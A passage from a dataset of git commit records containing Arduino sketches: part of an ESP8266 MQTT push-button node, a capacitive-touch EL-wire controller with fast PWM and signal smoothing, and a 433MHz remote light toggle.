Serial.println(pointID);\n Serial.println(client.subscribe(\"newDeviceAdd\"));\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid redEEPromWrite(String x){\n for (int i=0; i<4;i++){\n EEPROM.write(i, x[i]);\n }\n \n EEPROM.commit();\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid redEEPromRead(){\n for (int i=0; i<4;i++){\n red[i] = EEPROM.read(i);\n }\n \n EEPROM.commit();\n pointID=red;\n Serial.print(\"ID read from EEPROM is: \");\n Serial.println(red);\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid reconnect() {\n \/\/ Loop until we're reconnected\n Serial.println(\"Reconnecting MQTT...\");\n while (!client.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n char pnt[4];\n if (pointID.length()==0){\n pointID = \"Test\";\n }\n else{\n pointID.toCharArray(pnt,pointID.length()+1);\n \/\/client.subscribe(pnt);\n }\n \/\/ Create a random client ID\n String clientId = String(pointID);\n \/\/ Attempt to connect\n if (client.connect(clientId.c_str(),mqttUser, mqttPw)) {\n client.subscribe(pnt);\n Serial.println(\"connected\");\n Serial.print(\"subscribed to: \");\n Serial.println(pnt);\n Serial.print(\"with client ID: \");\n Serial.println(clientId);\n client.loop();\n Serial.print(\"MQTT Connection status: \");\n Serial.println(client.connected());\n delay(500);\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup() {\n Serial.begin(115200);\n EEPROM.begin(512);\n \/\/pinMode(0, INPUT);\n pinMode(4, INPUT);\n WiFi.begin();\n delay(1000);\n Serial.println(\"\");\n Serial.println(\"delay done\");\n Serial.println(digitalRead(4));\n if (digitalRead(4)==false)\n { \n Serial.println(\"button pressed at beginning\");\n delay(250);\n if (digitalRead(4)==false)setupAP();\n while(1){server.handleClient();delay(10);}\n \n }\n else{\n Serial.println(\"\"); \n redEEPromRead();\n Serial.println(\"\");\n Serial.print(\"point ID is: \");\n Serial.println(pointID);\n pinMode(BUILTIN_LED, OUTPUT); \/\/ Initialize the BUILTIN_LED pin as an output \n setup_wifi();\n client.setServer(mqtt_server, 1883);\n client.setCallback(callback);\n pinMode(0, INPUT);\n delay(1000);\n reconnect();}\n \n}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid loop() {\n\n if (!client.connected() && (WiFi.status() == WL_CONNECTED)) {\n Serial.println(\"rwwwiaiau\");\n reconnect();\n }\n \n client.loop();\n \n if (digitalRead(0)==false)\n {\n Serial.println(\"button pressed\");\n delay(250);\n if (digitalRead(0)==false)joinControlNet();\n \n }\n\n if (digitalRead(5)==false)\n {\n delay(250);\n if (digitalRead(5)==false)\n {\n switchState = !switchState;\n String payload = String(switchState);\n \n byte payloadBytes[payload.length()];\n payload.getBytes(payloadBytes,payload.length()+1);\n char p[pointID.length()];\n pointID.toCharArray(p, pointID.length()+1);\n client.publish(p,payloadBytes ,payload.length());\n Serial.print(\"button pressed cause publishing on topic: \");\n Serial.println(p);\n }\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mqttHA_Point_PushButton.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"5bf46ac1bdc0dc2d0eab44d42cacde0009d00197","subject":"mama playing MSE signal smoothing","message":"mama playing MSE signal smoothing\n","repos":"foolish-products\/likewhoa-examples,foolish-products\/likewhoa-examples,foolish-products\/likewhoa-examples","old_file":"button_multichannel_rf7\/button_multichannel_rf7.ino","new_file":"button_multichannel_rf7\/button_multichannel_rf7.ino","new_contents":"\/**********************************************************\n Fast PWM Test\nDemostrates the generation of high speed PWM\nusing timers 1 and 4\nThere are two pieces of code:\nOne for pins 9, 10 and 11 using TIMER 1\nwith frequencies up to 62kHz\nOther for pins 6 and 13 using TIMER 4\nwith frequencies up to 187kHz\nHistory:\n 12\/12\/2014 - Version 1.0\n 22\/12\/2014 - Adding a missing OCR4C value\n\n http:\/\/r6500.blogspot.com\/2014\/12\/fast-pwm-on-arduino-leonardo.html\n \n***********************************************************\/\n\n\/\/ https:\/\/web.archive.org\/web\/20140101032749\/http:\/\/coolarduino.wordpress.com\/2012\/09\/19\/quasi-real-time-oscilloscope-remix\/\n\n\n\n\/**********************************************************\n Fast PWM on pins 9,10,11 (TIMER 1)\n \n Do not use analogWrite to pins 9, 10 or 11 if using \n this functions as they use the same timer.\n \n Those functions will probably conflict with the \n servo library.\n \n Uses 5 PWM frequencies between 61Hz and 62.5kHz\n \n**********************************************************\/\n\n\n\n\n\/**********************************************************\n Fast PWM on pins 6, 13 (High Speed TIMER 4)\n \n Do not use analogWrite to pins 6 or 13 if using \n this functions as they use the same timer.\n \n Those functions will conflict with the \n MSTIMER2 library.\n Uses 7 PWM frequencies between 2930Hz and 187.5kHz\n \n Timer 4 uses a PLL as input so that its clock frequency\n can be up to 96MHz on standard Arduino Leonardo.\n We limit imput frequency to 48MHz to generate 187.5kHz PWM\n If needed, we can double that up to 375kHz\n**********************************************************\/\n\n\/\/ Frequency modes for TIMER4\n#define PWM187k 1 \/\/ 187500 Hz\n#define PWM94k 2 \/\/ 93750 Hz\n#define PWM47k 3 \/\/ 46875 Hz\n#define PWM23k 4 \/\/ 23437 Hz\n#define PWM12k 5 \/\/ 11719 Hz\n#define PWM6k 6 \/\/ 5859 Hz\n#define PWM3k 7 \/\/ 2930 Hz\n\n\/\/ Direct PWM change variables\n#define PWM6 OCR4D\n#define PWM13 OCR4A\n\n\/\/ Terminal count\n#define PWM6_13_MAX OCR4C\n\n\/\/ Configure the PWM clock\n\/\/ The argument is one of the 7 previously defined modes\nvoid pwm613configure(int mode)\n{\n\/\/ TCCR4A configuration\nTCCR4A=0;\n\n\/\/ TCCR4B configuration\nTCCR4B=mode;\n\n\/\/ TCCR4C configuration\nTCCR4C=0;\n\n\/\/ TCCR4D configuration\nTCCR4D=0;\n\n\/\/ TCCR4D configuration\nTCCR4D=0;\n\n\/\/ PLL Configuration\n\/\/ Use 96MHz \/ 2 = 48MHz\n\/\/ PLLFRQ=(PLLFRQ&0xCF)|0x30;\n PLLFRQ=(PLLFRQ&0xCF)|0x10; \/\/ Will double all frequencies\n\n\/\/ Terminal count for Timer 4 PWM\nOCR4C=255;\n}\n\n\/\/ Set PWM to D6 (Timer4 D)\n\/\/ Argument is PWM between 0 and 255\nvoid pwmSet6(int value)\n{\nOCR4D=value; \/\/ Set PWM value\nDDRD|=1<<7; \/\/ Set Output Mode D7\nTCCR4C|=0x09; \/\/ Activate channel D\n}\n\n\/\/ Set PWM to D13 (Timer4 A)\n\/\/ Argument is PWM between 0 and 255\nvoid pwmSet13(int value)\n{\nOCR4A=value; \/\/ Set PWM value\nDDRC|=1<<7; \/\/ Set Output Mode C7\nTCCR4A=0x82; \/\/ Activate channel A\n}\n\n\/*************** ADDITIONAL DEFINITIONS ******************\/\n\n\/\/ Macro to converts from duty (0..100) to PWM (0..255)\n#define DUTY2PWM(x) ((255*(x))\/100)\n\n\/**********************************************************\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/ WHOA \/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Pins \n\nint hvDigitalIn = 19; \/\/ pf6 -> A1 D19\nint hvClock = 18; \/\/ pf7 -> A0 D18\n\nint clearPin = 6; \/\/ pd7 -> A7 D6#\nint sense1 = A6; \/\/ pd4 -> A6 D4\nint sense2 = A11; \/\/ pd6 -> A11 D12\nint sense3 = 8; \/\/ pb4 -> A8 D8\nint sense4 = 9; \/\/ pb5 -> A9 D9\n\nint elEnable = 20; \/\/ pf5 -> A2 D20\n\nint detect = 5;\n\nint rxled = 30;\nint txled = 22;\nint rstled = 7;\n\n\/\/ This is hacky. \n\/\/ Work around from this changing when the program is loaded from the IDE. \nint capSenseFrequency = 1;\n\n\/\/ State \n\n#define channelCount 4\nint switched[] = {0, 0, 0, 0};\nbool glow[] = {true, true, true, true};\nbool allGlow[] = {true, true, true, true};\nbool noGlow[] = {false, false, false, false};\n\n#define prevValSize 50\nint prevVal[prevValSize][channelCount];\n\n#define sampleCount 3\nint sampleAll[channelCount][sampleCount];\nint sampleAllVal[channelCount];\n\nint samples[sampleCount];\nint sampleVal = 0;\n\n\/\/ Helpers \n\nint tempGlow[channelCount];\nbyte tempGlow_unroll[channelCount * 2];\nvoid switchOutputs(bool* glow) { \n \/\/ Make pins on the layout correspond to the pins on the switch \n tempGlow[2] = glow[0];\n tempGlow[3] = glow[1];\n tempGlow[1] = glow[2];\n tempGlow[0] = glow[3];\n\n \/\/ Process bit flips ahead of sending serial signal \n PORTF = PORTF | B10000000;\n for (int i = 0; i < 8; i++) {\n if (tempGlow[i \/ 2] == 1) { \n tempGlow_unroll[i] = PORTF | B01000000;\n }\n else { \n tempGlow_unroll[i] = PORTF & B10111111;\n }\n }\n \n for (int i = 0; i < 8; i++) {\n PORTF = tempGlow_unroll[i];\n \/\/ digitalWrite(hvClock, LOW); \n PORTF = PORTF & B01111111;\n \/\/ digitalWrite(hvClock, HIGH);\n\/\/ PORTF = PORTF | B10000000;\n }\n PORTF = PORTF | B10000000;\n\n \n}\n\nbool isSense_active[] = {true, true, true, true};\nvoid switchHalfOutputsA() { \n for (int i = 0; i < 4; i++) {\n PORTF = PORTF | B01000000;\n \/\/ PORTF = PORTF | (isSense_active[i] << 6);\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n \n PORTF = PORTF & B10111111;\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n }\n}\n\nvoid switchHalfOutputsB() { \n for (int i = 0; i < 4; i++) {\n PORTF = PORTF & B10111111;\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n \n PORTF = PORTF | B01000000;\n \/\/ PORTF = PORTF | (isSense_active[i] << 6);\n PORTF = PORTF & B01111111;\n PORTF = PORTF | B10000000;\n }\n}\n\n\/\/ This could be fancier...\nvoid sort(int *a, int len)\n{\n for (int i = 1; i < len; ++i)\n {\n int j = a[i];\n int k;\n for (k = i - 1; (k >= 0) && (j < a[k]); k--)\n {\n a[k + 1] = a[k];\n }\n a[k + 1] = j;\n }\n}\n\n\/\/ This mutates the input array! Beware!\nfloat getMedian(int* array, int len) { \n\/\/ int len = sizeof(array);\n sort(array, len); \n float tempVal = 0;\n return array[(len \/ 2) + 1];\n \n\/\/ for (int i = (len \/ 2) - 1; i < (len \/ 2) + 2; i++) {\n\/\/ tempVal += array[i];\n\/\/ }\n\/\/ return tempVal \/ 3;\n}\n\nvoid ledsOff() {\n digitalWrite(rxled, LOW);\n digitalWrite(txled, LOW);\n digitalWrite(rstled, LOW);\n}\n\nvoid ledsOn() {\n digitalWrite(rxled, HIGH);\n digitalWrite(txled, HIGH);\n digitalWrite(rstled, HIGH);\n}\n\nunsigned long microsdelay;\n\n\/\/ Arduino I\/O is real slow. Opaque bitwise port manipulation ftw!\nint adcSensePorts[] = {B00000000, B00000001, B00000011, B00000100};\n\n\/\/ this is internal, use the interface functions below!\nbool toSense_internal[] = {true, true, true, true};\nint senseResults_internal[] = {0, 0, 0, 0};\n\nvoid initSense_withResistor(){ \n \/\/ listen to resistor\n\n switchOutputs(noGlow);\n \/\/ digitalWrite(elEnable, HIGH);\n PORTF = PORTF | B00100000;\n delayMicroseconds(100);\n \n\/\/ microsdelay = micros();\n while(bitRead(PINC, 6));\n switchOutputs(allGlow);\n switchHalfOutputsA();\n while(!bitRead(PINC, 6));\n while(bitRead(PINC, 6));\n while(!bitRead(PINC, 6));\n while(bitRead(PINC, 6));\n\n\n switchOutputs(noGlow);\n delayMicroseconds(30);\n\n\/\/ microsdelay = micros() - microsdelay;\n}\n\nint spinner = 0;\nvoid initSense_withoutResistor() { \n \/\/ Hacky. Allows charge to disappate faster - kills flicker.\n\n\/\/ switchOutputs(allGlow);\n\/\/ microsdelay = 0;\n\/\/ while(bitRead(PINC, 6) || microsdelay < 20){\n\/\/ microsdelay++;\n\/\/ }\n \/\/ digitalWrite(elEnable, LOW);\n PORTF = PORTF & B11011111;\n for (int i = 0; i < 30; i++) {\n switchHalfOutputsA();\n spinner = 0;\n while(spinner < 34) { \n spinner++;\n }\n \n switchHalfOutputsB();\n spinner = 0;\n while(spinner < 34) { \n spinner++;\n }\n }\n\n \/\/ Make EL lamps float \n switchOutputs(noGlow);\n delayMicroseconds(30);\n}\n\nvoid senseChannels_internal(int chargeDelay_micros = 1000) { \n noInterrupts();\n \n \/\/ make sure pwm oscillator is running.\n pwm613configure(capSenseFrequency);\n pwmSet13(127);\n \n \/\/ digitalWrite(clearPin, HIGH);\n PORTD = PORTD | B10000000;\n\n if (chargeDelay_micros < 1) {\n chargeDelay_micros = 1000;\n }\n \n\/\/ Set ADC initialization bits - make sure things haven't gotten misconfigured. \n \/\/ 6: right adjust bits \/\/ last 5 bits select ADC.\n ADMUX = adcSensePorts[3];\n \/\/ high speed mode \/ 0 \/ analog selection, extra bit.\n ADCSRB = B10100000;\n \/\/ disable adc\n ADCSRA = B00000110;\n\n initSense_withoutResistor();\n\n\/\/ Begin measurement sequence\n \/\/ digitalWrite(clearPin, LOW);\n PORTD = PORTD & B01111111;\n \n delayMicroseconds(chargeDelay_micros);\n\/\/ start measurement\n\/\/ Go backwords so that channel 4 has the lowest sensitivity and 1 has the highest.\n for(int i = 3; i >= 0; i--) {\n if (toSense_internal[i]) {\n \/\/ enable \/ start \/ auto trigger \/ interrupt flag \/ interrupt enable \/\/\/ scale \/\/\/ p.315\n ADCSRA = B11000110;\n delayMicroseconds(50);\n ADMUX = adcSensePorts[(i + 3) % 4];\n while ((ADCSRA & B01000000));\n sampleVal = ADCL; \/\/ store lower byte ADC\n sampleVal += ADCH << 8; \/\/ store higher bytes ADC\n senseResults_internal[i] = sampleVal;\n }\n else { \n ADMUX = adcSensePorts[(i + 3) % 4];\n senseResults_internal[i] = -1;\n }\n }\n\n \/\/ digitalWrite(elEnable, HIGH);\n PORTF = PORTF | B00100000;\n interrupts();\n \/\/ digitalWrite(clearPin, HIGH);\n PORTD = PORTD | B10000000;\n return;\n}\n\n\/\/ Sensing interfaces! \n\/\/ Note that the channel here corresponds to the number written on the board, \n\/\/ which is shifted up by one from the indicies in the senseResults array.\nint senseChannel(int channel, int chargeDelay_micros = 1000, bool isGlow = true) {\n if (channel < 0 || channel > 4) { \n Serial.println(\"Warning: you might not be measuring the channel you intend to!\");\n ledsOn();\n }\n channel = (channel - 1) % 4; \/\/ sanitize your inputs. \n for (int i = 0; i < 4; i++) { \n toSense_internal[i] = false; \n }\n toSense_internal[channel] = true;\n senseChannels_internal(chargeDelay_micros);\n if (isGlow) { \n switchOutputs(glow);\n }\n return senseResults_internal[channel];\n}\n\nint* senseAll(int chargeDelay_micros = 1000, bool isGlow = true) {\n for (int i = 0; i < 4; i++) { \n toSense_internal[i] = true; \n }\n senseChannels_internal(chargeDelay_micros);\n \n if (isGlow) { \n switchOutputs(glow);\n }\n return senseResults_internal;\n}\n\n\nint inactiveMeasure[channelCount];\nint activeProbe = 0;\n\/\/ This function saves a bit of time by not measuring \"inactive\" channels each cycle. \n\/\/ Makes the measurement go a bit faster, i.e. makes the EL dohickey brighter!\nint* senseAllActive(int chargeDelay_micros = 1000, bool isGlow = true) {\n activeProbe = (activeProbe + 1) % channelCount;\n for (int i = 0; i < 4; i++) { \n if (isSense_active[activeProbe]) {\n activeProbe = (activeProbe + 1) % channelCount;\n }\n else { \n break;\n }\n }\n \n for (int i = 0; i < 4; i++) { \n toSense_internal[i] = isSense_active[i]; \n if (i == activeProbe) { \n toSense_internal[i] = true;\n }\n }\n senseChannels_internal(chargeDelay_micros);\n \n if (isGlow) { \n switchOutputs(glow);\n }\n\n \/\/ Change threshold for activating, might want to make this smaller?\n if (inactiveMeasure[activeProbe] - senseResults_internal[activeProbe] > 50 || \n senseResults_internal[activeProbe] < 400) { \n isSense_active[activeProbe] = true;\n }\n else { \n inactiveMeasure[activeProbe] = senseResults_internal[activeProbe];\n }\n \n for (int i = 0; i < 4; i++) { \n if (!toSense_internal[i]) { \n senseResults_internal[i] = inactiveMeasure[i];\n }\n }\n\n \/\/ Serial.println(isSense_active[2] << 6);\n \n return senseResults_internal;\n}\n\n\/\/ The ardunio IDE insists on changing the frequency of the fast pwm when the board is programmed\n\/\/ This is a hack that accounts for that. \nvoid ensureCorrectFrequency() {\n switchOutputs(noGlow);\n ledsOff();\n\n capSenseFrequency = PWM187k;\n int read187k = senseChannel(1, 5000);\n read187k = senseChannel(1, 5000);\n read187k = senseChannel(1, 5000);\n\/\/ Serial.print(\"187: \");\n\/\/ Serial.println(read187k);\n \n \n capSenseFrequency = PWM94k;\n int read94k = senseChannel(1, 5000);\n read94k = senseChannel(1, 5000);\n read94k = senseChannel(1, 5000);\n\/\/ Serial.print(\"94: \");\n\/\/ Serial.println(read94k);\n\n if (read94k > read187k) { \n capSenseFrequency = PWM94k;\n digitalWrite(rxled, HIGH);\n if (read94k > 150) {\n digitalWrite(txled, HIGH);\n }\n delay(200);\n }\n else{ \n capSenseFrequency = PWM187k;\n digitalWrite(rstled, HIGH);\n if (read187k > 150) {\n digitalWrite(txled, HIGH);\n }\n delay(200);\n }\n ledsOff();\n}\n\n\/\/\/\/\/\/\/\/\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\/\/\/\/\/\/\/\/\/\/\/\n\nint* senseResults;\n\nvoid setup() {\n Serial.begin(9600); \n\n \/\/ hvSwitch communication\n pinMode(hvDigitalIn, OUTPUT);\n pinMode(hvClock, OUTPUT);\n\n pinMode(clearPin, OUTPUT);\n digitalWrite(clearPin, LOW);\n\n pinMode(10, OUTPUT);\n\n \n pinMode(elEnable, OUTPUT);\n digitalWrite(elEnable, HIGH);\n\n pinMode(detect, INPUT);\n\n pinMode(sense1, INPUT);\n pinMode(sense2, INPUT);\n pinMode(sense3, INPUT);\n pinMode(sense4, INPUT);\n\n pinMode(rxled, OUTPUT);\n pinMode(txled, OUTPUT);\n pinMode(rstled, OUTPUT); \n \n analogReference(DEFAULT);\n \n \/\/ this should be called after the clear pin is set low\n ensureCorrectFrequency();\n\n \/\/ Disables channels without EL plugged in. \n senseResults = senseAll(2300, true);\n for (int i = 0; i < 4; i++) {\n if (senseResults[i] > 620) { \n isSense_active[i] = false;\n }\n }\n\n senseResults = senseAll(1000, true);\n for (int i = 0; i < 4; i++) {\n if (isSense_active[i]) { \n inactiveMeasure[i] = senseResults[i];\n }\n }\n}\n\n\/\/ Do this instead of using a bunch of individual Serial.print statements to save time!\n\/\/ If your wire starts flashing when you are logging, this might be why!\n#define printLineSize 200\nchar logBuffer[printLineSize];\nchar tempLogBuffer[printLineSize];\n\n\n #define ENABLE_LOGGING\n\n#ifdef ENABLE_LOGGING\n\n#define subBufferSize 50\nchar signalBuffer[subBufferSize];\nchar impulseBuffer[subBufferSize];\n\/\/ These are in reference to the impulse, which is itself a funny denoising derivative-y thing\nchar extraBuffer[subBufferSize];\nchar derivativeBuffer[subBufferSize];\n\n#endif\n\nint val = 0;\n\nint minimum = 10000;\nint maximum = 0;\n\n#define senseSize 23\nint senseHistory[channelCount][senseSize];\nint senseHistoryTemp[senseSize];\nint senseHistoryIter = 0;\n\nbool isTouched = false;\nbool whereTouched[] = {false, false, false, false};\n\nfloat change = 0;\n\nbool shouldGlow = true;\n\nbool isOn = true;\nbool justSwitched = false;\nint switchedCount = 0;\n\n#define smoothedSenseSize 21\nint smoothedSenseHistory[channelCount][smoothedSenseSize];\nint smoothedSenseIter = 0;\n\n\n#define smoothedTouchWindow 4\nfloat smoothedSampleMedian = 0;\nfloat smoothedSampleMin = 0;\nfloat smoothedSampleNew = 0;\nint smoothedSampleTemp[smoothedSenseSize - smoothedTouchWindow];\n\nint channelMean[] = {0, 0, 0, 0};\nint chanImpulse; \nint chanPrevImpulse;\nint chanChangeCount;\n\n\/\/ Here are the main levers which control the operation of this program\n#define increaseWindow 17\n#define pureIncreaseThreshold 6\n#define increaseThresholdWithImpulse 4\n#define impulseThreshold 3\n#define bigImpulseThreshold 8\n#define glowTime_us 1300\n\nvoid loop() {\n senseResults = senseAllActive(1500, true);\n \n smoothedSenseIter = (smoothedSenseIter + 1) % smoothedSenseSize;\n\n\n \/\/ Get new smoothed value\n for (int channel = 0; channel < channelCount; channel++) { \n senseHistory[channel][senseHistoryIter] = senseResults[channel];\n senseHistoryIter++;\n if (senseHistoryIter == senseSize) { \n senseHistoryIter = 0;\n }\n\n for (int i = 0; i < senseSize; i++) {\n senseHistoryTemp[i] = senseHistory[channel][i];\n }\n\n sort(senseHistoryTemp, senseSize);\n \n int prevMeasure = smoothedSenseHistory[channel][(smoothedSenseIter - 1 + smoothedSenseSize) % smoothedSenseSize];\n int bestSquaredError = 10000;\n int bestMatchIndex = 0;\n for (int i = 0; i < 8; i++) {\n int currSquaredError = (prevMeasure - senseHistoryTemp[i]) * (prevMeasure - senseHistoryTemp[i]);\n if (currSquaredError < bestSquaredError) { \n bestSquaredError = currSquaredError;\n smoothedSenseHistory[channel][smoothedSenseIter] = senseHistoryTemp[i]; \n }\n \n }\n if (bestSquaredError < 3) { \n smoothedSenseHistory[channel][smoothedSenseIter] = prevMeasure;\n }\n\n\n\/\/ if(senseHistoryIter==0 && channel == 2){\n\/\/ for(int i=0; i<25; i++){\n\/\/ Serial.print(senseHistoryTemp[i]);\n\/\/ Serial.print(\", \");\n\/\/ }\n\/\/ Serial.println();\n\/\/ \n\/\/ }\n \n }\n\n for (int channel = 0; channel < channelCount; channel++) { \n channelMean[channel] = (channelMean[channel] * 2 + \n smoothedSenseHistory[channel][(smoothedSenseIter + 1 + smoothedSenseSize) % smoothedSenseSize]) \/ 3;\n\n chanImpulse = channelMean[channel] - smoothedSenseHistory[channel][smoothedSenseIter];\n chanPrevImpulse = channelMean[channel] - smoothedSenseHistory[channel][(smoothedSenseIter + smoothedSenseSize - 1) % smoothedSenseSize];\n chanChangeCount = 0;\n\n int senseDiff;\n for (int steps = 0; steps < increaseWindow; steps++) {\n senseDiff = smoothedSenseHistory[channel][(smoothedSenseIter - (steps + 1) + smoothedSenseSize) % smoothedSenseSize]\n - smoothedSenseHistory[channel][(smoothedSenseIter - (steps) + smoothedSenseSize) % smoothedSenseSize];\n \n if (senseDiff > 0) {\n chanChangeCount += 1; \n }\n\/\/ if (senseDiff < -5) {\n\/\/ chanChangeCount = -1; \n\/\/ break;\n\/\/ }\n }\n\n if (chanChangeCount == impulseThreshold + 1) { \n chanImpulse += 5;\n }\n \n \n if (switchedCount == 0 && isSense_active[channel] &&\n ((chanImpulse > impulseThreshold && chanChangeCount >= increaseThresholdWithImpulse) ||\n (chanImpulse > bigImpulseThreshold && chanChangeCount + 1 >= increaseThresholdWithImpulse) ||\n (chanChangeCount >= pureIncreaseThreshold)) ){\n isTouched = true;\n whereTouched[channel] = true;\n#ifndef ENABLE_LOGGING\n sprintf(logBuffer, \"Switched channel: %d Measurement: %d Impulse: %d Adj transition count: %d Big Impulse: %d\",\n channel, smoothedSenseHistory[channel][smoothedSenseIter], chanImpulse, chanChangeCount, chanImpulse > bigImpulseThreshold);\n Serial.println(logBuffer);\n#endif\n }\n\n#ifdef ENABLE_LOGGING\n\n \/\/ EXEX - Logging inline - pull into a function!\n int tailMeanlen;\n int derivativelen;\n int impulselen;\n\n switch (channel) {\n case 0:\n impulselen = sprintf(impulseBuffer, \"Imp: %d, \",\n chanImpulse);\n derivativelen = sprintf(derivativeBuffer, \"Change: %d, \",\n chanChangeCount);\n tailMeanlen = sprintf(extraBuffer, \"Is Active: %d, \",isSense_active[channel]);\n \/\/ chanImpulse > bigImpulseThreshold && chanChangeCount + 1 >= increaseThresholdWithImpulse);\n\n break;\n\n case 1:\n case 2:\n case 3:\n impulselen += sprintf(impulseBuffer + impulselen, \"%d, \",\n chanImpulse);\n derivativelen += sprintf(derivativeBuffer + derivativelen, \"%d, \",\n chanChangeCount);\n tailMeanlen += sprintf(extraBuffer + tailMeanlen, \"%d, \", isSense_active[channel]);\n \/\/ chanImpulse > bigImpulseThreshold && chanChangeCount + 1 >= increaseThresholdWithImpulse);\n\n break;\n\n default:\n break;\n }\n#endif\n \n }\n\n#ifdef ENABLE_LOGGING\n int signallen;\n for (int chan = 0; chan < channelCount; chan++) {\n switch (chan) {\n case 0:\n for (int l = 0; l < printLineSize; l++) {\n tempLogBuffer[l] = logBuffer[l];\n }\n signallen = sprintf(signalBuffer, \"Signal: %d, \", smoothedSenseHistory[chan][smoothedSenseIter]);\n break;\n\n case 1:\n case 2:\n case 3:\n signallen += sprintf(signalBuffer + signallen, \"%d, \", smoothedSenseHistory[chan][smoothedSenseIter]);\n break;\n\n default:\n Serial.print(\"blah \");\n break;\n }\n }\n\n snprintf(logBuffer, printLineSize, \"%20s %23s %20s %20s %s\",\n signalBuffer,\n impulseBuffer, \n derivativeBuffer,\n extraBuffer, \"\");\n\n Serial.println(logBuffer);\n#endif\n\n \n\n if (isTouched && switchedCount == 0) { \n isTouched = false;\n for (int chan = 0; chan < channelCount; chan++) {\n if (whereTouched[chan]) { \n#ifdef ENABLE_LOGGING\n Serial.println(\"SWITCHED CHANNEL!\");\n Serial.println(chan);\n#endif\n whereTouched[chan] = false;\n glow[chan] = !glow[chan];\n }\n }\n switchedCount = senseSize + smoothedSenseSize;\n }\n \n switchOutputs(glow);\n\n if (switchedCount > 0) {\n switchedCount--;\n }\n \n delayMicroseconds(glowTime_us);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'button_multichannel_rf7\/button_multichannel_rf7.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e39453c53347190afa3bb63f27059a0863630f74","subject":":electric_plug: add arduino script","message":":electric_plug: add arduino script\n","repos":"JoostKiens\/bootsy-domo,JoostKiens\/bootsy-domo","old_file":"arduino\/arduino.ino","new_file":"arduino\/arduino.ino","new_contents":"#include <NewRemoteReceiver.h>\n#include <NewRemoteTransmitter.h>\n\n\nint inputPins[] = {3, 4};\nint transmitterPin = 11;\n\n\n\/\/ is light on or off, false means off\nint currentStates[] = {false, false};\n\nNewRemoteTransmitter transmitter(19925766, transmitterPin, 258);\n\n\nvoid setup() {\n for (int i = 0; i < (sizeof(inputPins) \/ sizeof(int)); i++) {\n pinMode(inputPins[i], INPUT_PULLUP);\n }\n Serial.begin(115200);\n}\n\nvoid loop() {\n for (int i = 0; i < (sizeof(inputPins) \/ sizeof(int)); i++) {\n int reading = digitalRead(inputPins[i]);\n \n\n if (reading == HIGH && currentStates[i] == false) {\n toggle(true, i);\n }\n \n if (reading == LOW && currentStates[i] == true) {\n toggle(false, i);\n }\n }\n}\n\nvoid toggle(int state, int index) {\n currentStates[index] = state;\n transmitter.sendUnit(index, state);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5a2a2948d2fb6b8bc0d6b2a5244cd2ea216ddcfe","subject":"Tool: I2C Scanner.","message":"Tool: I2C 